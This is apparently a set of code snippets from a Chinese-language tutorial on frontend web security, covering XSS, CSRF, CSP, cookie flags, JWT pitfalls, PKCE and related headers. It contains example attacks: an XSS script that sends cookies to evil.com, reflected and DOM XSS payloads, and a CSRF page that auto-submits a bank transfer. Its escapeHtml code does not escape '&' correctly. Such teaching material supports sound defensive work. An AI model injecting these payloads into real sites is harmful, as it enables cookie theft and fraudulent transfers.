攻击者发帖内容：<script>document.location='https://evil.com/steal?c='+document.cookie</script>

其他用户访问该帖子时，浏览器执行脚本，Cookie 被发送给攻击者

正常 URL：https://example.com/search?q=hello
攻击 URL：https://example.com/search?q=<script>alert(document.cookie)</script>

服务端：<p>搜索结果：{query}</p>  ← 直接插入未转义的 query

// ❌ 直接将 URL hash 写入 DOM
const keyword = location.hash.slice(1)
document.getElementById('result').innerHTML = keyword
// 访问 /page#<img src=x onerror=alert(1)> 即可触发

function escapeHtml(str: string): string {
  return str
    .replace(/&/g, '&')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;')
}

// React / Vue 的模板插值默认转义，不会有问题
// 危险的是绕过框架的写法：
element.innerHTML = userInput          // ❌ 危险
document.write(userInput)              // ❌ 危险
element.textContent = userInput        // ✅ 安全（不解析 HTML）

// ❌ 以下 API 直接执行字符串为代码
eval(userInput)
new Function(userInput)
setTimeout(userInput, 0)   // 字符串形式
element.setAttribute('onload', userInput)

// Vue / React 中
<div v-html="userInput">          // ❌ 等同于 innerHTML
<div dangerouslySetInnerHTML=...>  // ❌ 需要确保已消毒

import DOMPurify from 'dompurify'

// 只允许安全的标签和属性
const clean = DOMPurify.sanitize(userHtml, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'li'],
  ALLOWED_ATTR: ['href', 'title'],
})

element.innerHTML = clean

Set-Cookie: token=xxx; HttpOnly; Secure; SameSite=Strict

<!-- 攻击者的恶意页面 evil.com -->
<!-- 用户访问后，浏览器自动携带 bank.com 的 Cookie 发起转账请求 -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />

<!-- 或表单自动提交 -->
<form action="https://bank.com/transfer" method="POST" id="f">
  <input name="to" value="attacker" />
  <input name="amount" value="10000" />
</form>
<script>document.getElementById('f').submit()</script>

Set-Cookie: token=xxx; SameSite=Strict
# Strict：跨站请求完全不携带 Cookie
# Lax：跨站 GET 请求携带（导航），POST 不携带（默认值）
# None：跨站都携带，需同时设置 Secure

# Nginx 响应头
Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.example.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';

# 内联脚本默认被 CSP 阻断（除非显式允许 'unsafe-inline'）
Content-Security-Policy: script-src 'self'

# 攻击者注入的内联脚本无法执行：
<script>document.cookie...</script>  ← 被浏览器拦截

<!-- 服务端每次请求生成新的随机 nonce -->
<meta http-equiv="Content-Security-Policy"
      content="script-src 'nonce-r4nd0m123'" />

<!-- 只有带匹配 nonce 的脚本才能执行 -->
<script nonce="r4nd0m123">
  window.__INITIAL_STATE__ = { ... }
</script>

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

Set-Cookie: access_token=<jwt>; HttpOnly; Secure; SameSite=Strict; Path=/api

// ❌ 误区 1：前端"验证" JWT 签名
// JWT 签名验证必须在服务端进行，前端解码只是读 payload，不验证真实性
const payload = JSON.parse(atob(token.split('.')[1]))  // 只是 base64 解码

// ❌ 误区 2：把敏感信息放 payload
// JWT payload 只是 base64 编码，不是加密，任何人都能解读
const token = sign({ userId: 1, password: 'xxx' }, secret)  // 千万不要这样做

// ✅ payload 只放非敏感的标识信息
const token = sign({ userId: 1, role: 'admin', exp: ... }, secret)

// 1. 生成 code_verifier（随机字符串）和 code_challenge（其 SHA-256 哈希）
async function generatePKCE() {
  const verifier = crypto.randomUUID().replace(/-/g, '') + crypto.randomUUID().replace(/-/g, '')
  const encoder = new TextEncoder()
  const data = encoder.encode(verifier)
  const hash = await crypto.subtle.digest('SHA-256', data)
  const challenge = btoa(String.fromCharCode(...new Uint8Array(hash)))
    .replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '')
  return { verifier, challenge }
}

// 2. 跳转授权页，携带 code_challenge
const { verifier, challenge } = await generatePKCE()
sessionStorage.setItem('pkce_verifier', verifier)

const authUrl = new URL('https://auth.example.com/authorize')
authUrl.searchParams.set('response_type', 'code')
authUrl.searchParams.set('client_id', CLIENT_ID)
authUrl.searchParams.set('redirect_uri', REDIRECT_URI)
authUrl.searchParams.set('code_challenge', challenge)
authUrl.searchParams.set('code_challenge_method', 'S256')
location.href = authUrl.toString()

// 3. 回调页用 code_verifier 换 token
async function handleCallback(code: string) {
  const verifier = sessionStorage.getItem('pkce_verifier')!
  const res = await fetch('https://auth.example.com/token', {
    method: 'POST',
    body: new URLSearchParams({
      grant_type: 'authorization_code',
      code,
      redirect_uri: REDIRECT_URI,
      client_id: CLIENT_ID,
      code_verifier: verifier,
    }),
  })
  return res.json()
}

X-Frame-Options: DENY
# 或者用 CSP（更灵活）：
Content-Security-Policy: frame-ancestors 'none'

// ❌ 错误示例：前端暴露内部信息
console.log('API Key:', import.meta.env.VITE_SECRET_KEY)  // 打包进前端代码
console.error(error)  // 可能包含 SQL 语句、文件路径等

// ❌ 注释中的密钥（会进入源码，通过 Source Map 或直接查看 JS 可见）
// TODO: token = 'sk-xxxxxxxx'

// ❌ URL 中的敏感参数（会记录在日志、Referer、浏览器历史）
fetch(`/api/reset?token=${resetToken}`)  // 应改用 POST body

<script
  src="https://cdn.example.com/lib.min.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous"
></script>